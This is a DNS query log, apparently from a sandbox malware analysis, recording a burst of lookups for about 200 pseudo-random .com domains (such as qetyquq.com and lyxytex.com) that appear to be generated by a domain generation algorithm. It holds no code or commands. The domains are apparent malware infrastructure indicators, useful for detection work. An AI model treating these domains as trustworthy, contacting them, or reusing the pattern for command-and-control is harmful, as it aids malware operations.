                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.863343954 CET192.168.2.41.1.1.10x9ca6Standard query (0)qetyquq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.865113974 CET192.168.2.41.1.1.10x8268Standard query (0)vopyqim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.865562916 CET192.168.2.41.1.1.10x96edStandard query (0)lykyxur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.867069006 CET192.168.2.41.1.1.10xc840Standard query (0)vocydof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.868436098 CET192.168.2.41.1.1.10x62ebStandard query (0)qegylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.868813038 CET192.168.2.41.1.1.10xf340Standard query (0)pujyxyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.869893074 CET192.168.2.41.1.1.10xbd48Standard query (0)gatyqih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.879004955 CET192.168.2.41.1.1.10xe261Standard query (0)lyrymuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.884347916 CET192.168.2.41.1.1.10xfd67Standard query (0)lygylax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.894473076 CET192.168.2.41.1.1.10x4caaStandard query (0)gacydib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.930922031 CET192.168.2.41.1.1.10x7777Standard query (0)purymuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.171933889 CET192.168.2.41.1.1.10xe442Standard query (0)pupygel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.171933889 CET192.168.2.41.1.1.10x9888Standard query (0)qekyrov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.174695015 CET192.168.2.41.1.1.10xa989Standard query (0)vonycum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.187797070 CET192.168.2.41.1.1.10xec5Standard query (0)galyros.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.193157911 CET192.168.2.41.1.1.10xe93aStandard query (0)ganycuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.193850040 CET192.168.2.41.1.1.10x8794Standard query (0)pufyjuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.206598043 CET192.168.2.41.1.1.10x27a7Standard query (0)gaqyvob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.236403942 CET192.168.2.41.1.1.10xaa4aStandard query (0)lyxytex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.237158060 CET192.168.2.41.1.1.10x457eStandard query (0)vofyjuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.314277887 CET192.168.2.41.1.1.10xb97aStandard query (0)lysyger.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.318248987 CET192.168.2.41.1.1.10xf656Standard query (0)qexytep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.323019981 CET192.168.2.41.1.1.10x9ab2Standard query (0)lyxyxyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.325988054 CET192.168.2.41.1.1.10x451aStandard query (0)qexyxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.328739882 CET192.168.2.41.1.1.10x8245Standard query (0)qebyxyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.331147909 CET192.168.2.41.1.1.10x3962Standard query (0)vopygat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.333576918 CET192.168.2.41.1.1.10x8a1eStandard query (0)gahyraw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.338932991 CET192.168.2.41.1.1.10x27abStandard query (0)lyrygyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.345419884 CET192.168.2.41.1.1.10xf225Standard query (0)qegyrol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.361845970 CET192.168.2.41.1.1.10xb31fStandard query (0)purygeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.362535954 CET192.168.2.41.1.1.10x7766Standard query (0)gacycus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.362893105 CET192.168.2.41.1.1.10xa3afStandard query (0)lygywor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.363265038 CET192.168.2.41.1.1.10xf36bStandard query (0)vowygem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.364051104 CET192.168.2.41.1.1.10xf6cfStandard query (0)pufywil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.375305891 CET192.168.2.41.1.1.10x2409Standard query (0)qetynev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.377019882 CET192.168.2.41.1.1.10xc340Standard query (0)gaqyfah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.377418041 CET192.168.2.41.1.1.10x64beStandard query (0)lykywid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.379784107 CET192.168.2.41.1.1.10xbcf0Standard query (0)vofyqit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.380763054 CET192.168.2.41.1.1.10xf8dcStandard query (0)vocycuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.381335974 CET192.168.2.41.1.1.10x6599Standard query (0)gacypyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.381666899 CET192.168.2.41.1.1.10x445Standard query (0)qeqyfaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.386023998 CET192.168.2.41.1.1.10x5d9aStandard query (0)lygyjuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.386585951 CET192.168.2.41.1.1.10x3f6aStandard query (0)puzyxyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.387821913 CET192.168.2.41.1.1.10xde18Standard query (0)gadyquz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.388380051 CET192.168.2.41.1.1.10xd4c2Standard query (0)lymyfoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.427782059 CET192.168.2.41.1.1.10xea62Standard query (0)volyzef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.429501057 CET192.168.2.41.1.1.10xd56aStandard query (0)qedyqup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.435079098 CET192.168.2.41.1.1.10x8826Standard query (0)pumydoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.441332102 CET192.168.2.41.1.1.10x75a9Standard query (0)galyzeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.441589117 CET192.168.2.41.1.1.10x153Standard query (0)lysymux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.443309069 CET192.168.2.41.1.1.10xec0bStandard query (0)vonydik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.443898916 CET192.168.2.41.1.1.10x3610Standard query (0)qekylag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.444698095 CET192.168.2.41.1.1.10xe93aStandard query (0)pupymyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.445107937 CET192.168.2.41.1.1.10xb24bStandard query (0)ganydiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.445399046 CET192.168.2.41.1.1.10xf242Standard query (0)lykylan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.445785999 CET192.168.2.41.1.1.10xc0acStandard query (0)vopymyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.445935965 CET192.168.2.41.1.1.10xbd1Standard query (0)pujylog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.449284077 CET192.168.2.41.1.1.10xe3efStandard query (0)puvypul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.450711012 CET192.168.2.41.1.1.10xb02Standard query (0)gahykih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.467281103 CET192.168.2.41.1.1.10x271cStandard query (0)qegykiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.467643023 CET192.168.2.41.1.1.10xc437Standard query (0)gatynes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.469239950 CET192.168.2.41.1.1.10x7612Standard query (0)volyrac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.470119953 CET192.168.2.41.1.1.10x3916Standard query (0)qebysul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.470719099 CET192.168.2.41.1.1.10xbbe3Standard query (0)qedyhyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.470886946 CET192.168.2.41.1.1.10x408fStandard query (0)vowybof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.471173048 CET192.168.2.41.1.1.10x4f78Standard query (0)vojykom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.472944975 CET192.168.2.41.1.1.10x8845Standard query (0)lymyvin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.476598978 CET192.168.2.41.1.1.10xbf2fStandard query (0)lyrynad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.481470108 CET192.168.2.41.1.1.10xb63eStandard query (0)purybav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.482733011 CET192.168.2.41.1.1.10xbed4Standard query (0)gadyhyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.484654903 CET192.168.2.41.1.1.10xc025Standard query (0)puzytap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.485131979 CET192.168.2.41.1.1.10x80a0Standard query (0)vocypyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.487622023 CET192.168.2.41.1.1.10xfb29Standard query (0)lyvysur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.493650913 CET192.168.2.41.1.1.10x2c6dStandard query (0)pumycug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.494201899 CET192.168.2.41.1.1.10x7e34Standard query (0)qeqyvig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.762655973 CET192.168.2.41.1.1.10xb5a8Standard query (0)pujywiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.764580011 CET192.168.2.41.1.1.10x954eStandard query (0)gatyfaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.767885923 CET192.168.2.41.1.1.10xeeb3Standard query (0)lyvyxyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.772852898 CET192.168.2.41.1.1.10x1371Standard query (0)qetyfop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.777776003 CET192.168.2.41.1.1.10x10d7Standard query (0)puvyxeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.786370993 CET192.168.2.41.1.1.10x36e6Standard query (0)gacyzaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.828579903 CET192.168.2.41.1.1.10xd141Standard query (0)purydip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.829289913 CET192.168.2.41.1.1.10x7d65Standard query (0)qegyqug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.853756905 CET192.168.2.41.1.1.10x4f40Standard query (0)vojyquf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.854757071 CET192.168.2.41.1.1.10x24cdStandard query (0)qexylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.864118099 CET192.168.2.41.1.1.10x818bStandard query (0)lyryfox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.901271105 CET192.168.2.41.1.1.10x26a3Standard query (0)purycul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.904618025 CET192.168.2.41.1.1.10xa7b0Standard query (0)pufygav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.906884909 CET192.168.2.41.1.1.10x6f57Standard query (0)lyxywij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.909166098 CET192.168.2.41.1.1.10xdd1fStandard query (0)pumypyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.910053968 CET192.168.2.41.1.1.10x29ceStandard query (0)galykiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.911442041 CET192.168.2.41.1.1.10xa0daStandard query (0)lysynaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.911741018 CET192.168.2.41.1.1.10xab6aStandard query (0)pufymyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.913108110 CET192.168.2.41.1.1.10x8ac8Standard query (0)gaqycyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.915308952 CET192.168.2.41.1.1.10xf8adStandard query (0)pupyboq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.915965080 CET192.168.2.41.1.1.10xac1eStandard query (0)ganypeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.916774988 CET192.168.2.41.1.1.10x56e0Standard query (0)lykyjux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.918550014 CET192.168.2.41.1.1.10xae8dStandard query (0)vopybok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.918879032 CET192.168.2.41.1.1.10xdda1Standard query (0)qekykup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.920039892 CET192.168.2.41.1.1.10x8f9fStandard query (0)qebyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.920743942 CET192.168.2.41.1.1.10xf58fStandard query (0)pujyjup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.930123091 CET192.168.2.41.1.1.10x6543Standard query (0)gatyviw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.930593014 CET192.168.2.41.1.1.10x33d0Standard query (0)lyvytan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.930772066 CET192.168.2.41.1.1.10xf1aStandard query (0)puzylol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.931217909 CET192.168.2.41.1.1.10x6561Standard query (0)lygymyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.933149099 CET192.168.2.41.1.1.10xdd82Standard query (0)lymysud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.933433056 CET192.168.2.41.1.1.10xc1edStandard query (0)qexyriq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.933676958 CET192.168.2.41.1.1.10x4979Standard query (0)gacyroh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.933902979 CET192.168.2.41.1.1.10xc044Standard query (0)vowycut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.934223890 CET192.168.2.41.1.1.10x5b7fStandard query (0)vojyjyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.935309887 CET192.168.2.41.1.1.10x4aaeStandard query (0)vonyzac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.935507059 CET192.168.2.41.1.1.10xaf4eStandard query (0)lysyfin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.935661077 CET192.168.2.41.1.1.10xb048Standard query (0)gadyneh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.939693928 CET192.168.2.41.1.1.10xbc29Standard query (0)vonypyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.943147898 CET192.168.2.41.1.1.10x2bc1Standard query (0)pumyxep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.943717957 CET192.168.2.41.1.1.10x9eeeStandard query (0)galyquw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.944003105 CET192.168.2.41.1.1.10xfeb6Standard query (0)qedyfog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.944266081 CET192.168.2.41.1.1.10xc484Standard query (0)volyquk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.945374966 CET192.168.2.41.1.1.10x481Standard query (0)gadyfob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.945496082 CET192.168.2.41.1.1.10xe3edStandard query (0)qeqyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.947571039 CET192.168.2.41.1.1.10xb18Standard query (0)qeqysuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.953870058 CET192.168.2.41.1.1.10x4e31Standard query (0)vofygaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.954035044 CET192.168.2.41.1.1.10xbb4eStandard query (0)lymyxex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.954299927 CET192.168.2.41.1.1.10x902aStandard query (0)gaqydus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.954370022 CET192.168.2.41.1.1.10xb5c7Standard query (0)lyxylor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.954489946 CET192.168.2.41.1.1.10x6652Standard query (0)vofymem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.954804897 CET192.168.2.41.1.1.10x1de4Standard query (0)gahyqub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.957694054 CET192.168.2.41.1.1.10x9ed1Standard query (0)vowydic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.958137989 CET192.168.2.41.1.1.10xc886Standard query (0)lyryvur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.958383083 CET192.168.2.41.1.1.10x9a87Standard query (0)lygyged.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.958647966 CET192.168.2.41.1.1.10xbc74Standard query (0)vocyrom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.960905075 CET192.168.2.41.1.1.10x48faStandard query (0)gahyhys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.961404085 CET192.168.2.41.1.1.10xd9eStandard query (0)puvytag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.963063955 CET192.168.2.41.1.1.10x440bStandard query (0)qedynaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.963795900 CET192.168.2.41.1.1.10x24b7Standard query (0)qegyhev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.964747906 CET192.168.2.41.1.1.10xdbb9Standard query (0)qetyvil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.968945980 CET192.168.2.41.1.1.10x17fcStandard query (0)vocyzek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.972475052 CET192.168.2.41.1.1.10xa895Standard query (0)puzywuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:20.972701073 CET192.168.2.41.1.1.10x21f9Standard query (0)volykit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.204950094 CET192.168.2.41.1.1.10xf0aaStandard query (0)qekyheq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.205137968 CET192.168.2.41.1.1.10x1711Standard query (0)vofybic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.205684900 CET192.168.2.41.1.1.10xf690Standard query (0)puzyjyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.206538916 CET192.168.2.41.1.1.10x7050Standard query (0)pumytol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.206665993 CET192.168.2.41.1.1.10xdd2cStandard query (0)vocyquc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.206794024 CET192.168.2.41.1.1.10x4d19Standard query (0)galyheh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.206952095 CET192.168.2.41.1.1.10x3ad3Standard query (0)qebyrip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.209621906 CET192.168.2.41.1.1.10x4c89Standard query (0)lykymyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.211292982 CET192.168.2.41.1.1.10xc852Standard query (0)puzymev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.211504936 CET192.168.2.41.1.1.10x798fStandard query (0)vowyzam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.212893009 CET192.168.2.41.1.1.10xdb8dStandard query (0)vofydut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.213049889 CET192.168.2.41.1.1.10x1fc8Standard query (0)lyxymed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.223651886 CET192.168.2.41.1.1.10x4ce3Standard query (0)lymylij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.224818945 CET192.168.2.41.1.1.10xdbfbStandard query (0)gaqypew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.225013018 CET192.168.2.41.1.1.10x3517Standard query (0)lysyvud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.225575924 CET192.168.2.41.1.1.10xdb41Standard query (0)puvywup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.225575924 CET192.168.2.41.1.1.10x423aStandard query (0)lyryxen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.225922108 CET192.168.2.41.1.1.10x55bdStandard query (0)pufybop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.226090908 CET192.168.2.41.1.1.10xd27dStandard query (0)qetysuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.226244926 CET192.168.2.41.1.1.10xc0b3Standard query (0)lygynox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.227787971 CET192.168.2.41.1.1.10xee1fStandard query (0)lyrysyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.231053114 CET192.168.2.41.1.1.10x1705Standard query (0)vopycyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.234183073 CET192.168.2.41.1.1.10x2068Standard query (0)pujygaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.234725952 CET192.168.2.41.1.1.10x936bStandard query (0)ganyriz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.234725952 CET192.168.2.41.1.1.10x1007Standard query (0)puryxag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.245690107 CET192.168.2.41.1.1.10x7834Standard query (0)qekyqyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.255424023 CET192.168.2.41.1.1.10x829bStandard query (0)pupydig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.258666992 CET192.168.2.41.1.1.10x495Standard query (0)vowypek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.259413004 CET192.168.2.41.1.1.10x41f7Standard query (0)ganyzas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.260476112 CET192.168.2.41.1.1.10x6908Standard query (0)lymytar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.262124062 CET192.168.2.41.1.1.10x2b46Standard query (0)vocykif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.264489889 CET192.168.2.41.1.1.10x70e5Standard query (0)lyxyjun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.265471935 CET192.168.2.41.1.1.10x906bStandard query (0)vojygok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.267055988 CET192.168.2.41.1.1.10x18d0Standard query (0)volyjym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.271070004 CET192.168.2.41.1.1.10xf69bStandard query (0)pufydul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.273050070 CET192.168.2.41.1.1.10xc47dStandard query (0)lyvywux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.273231030 CET192.168.2.41.1.1.10xf50Standard query (0)purypyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.273310900 CET192.168.2.41.1.1.10x897eStandard query (0)pujymel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.276134014 CET192.168.2.41.1.1.10xacd4Standard query (0)lykygaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.290848017 CET192.168.2.41.1.1.10xd540Standard query (0)qegynap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.291115046 CET192.168.2.41.1.1.10x1692Standard query (0)lygyfir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.291476011 CET192.168.2.41.1.1.10xa870Standard query (0)vopydum.comA (IP address)IN (0x0001)false
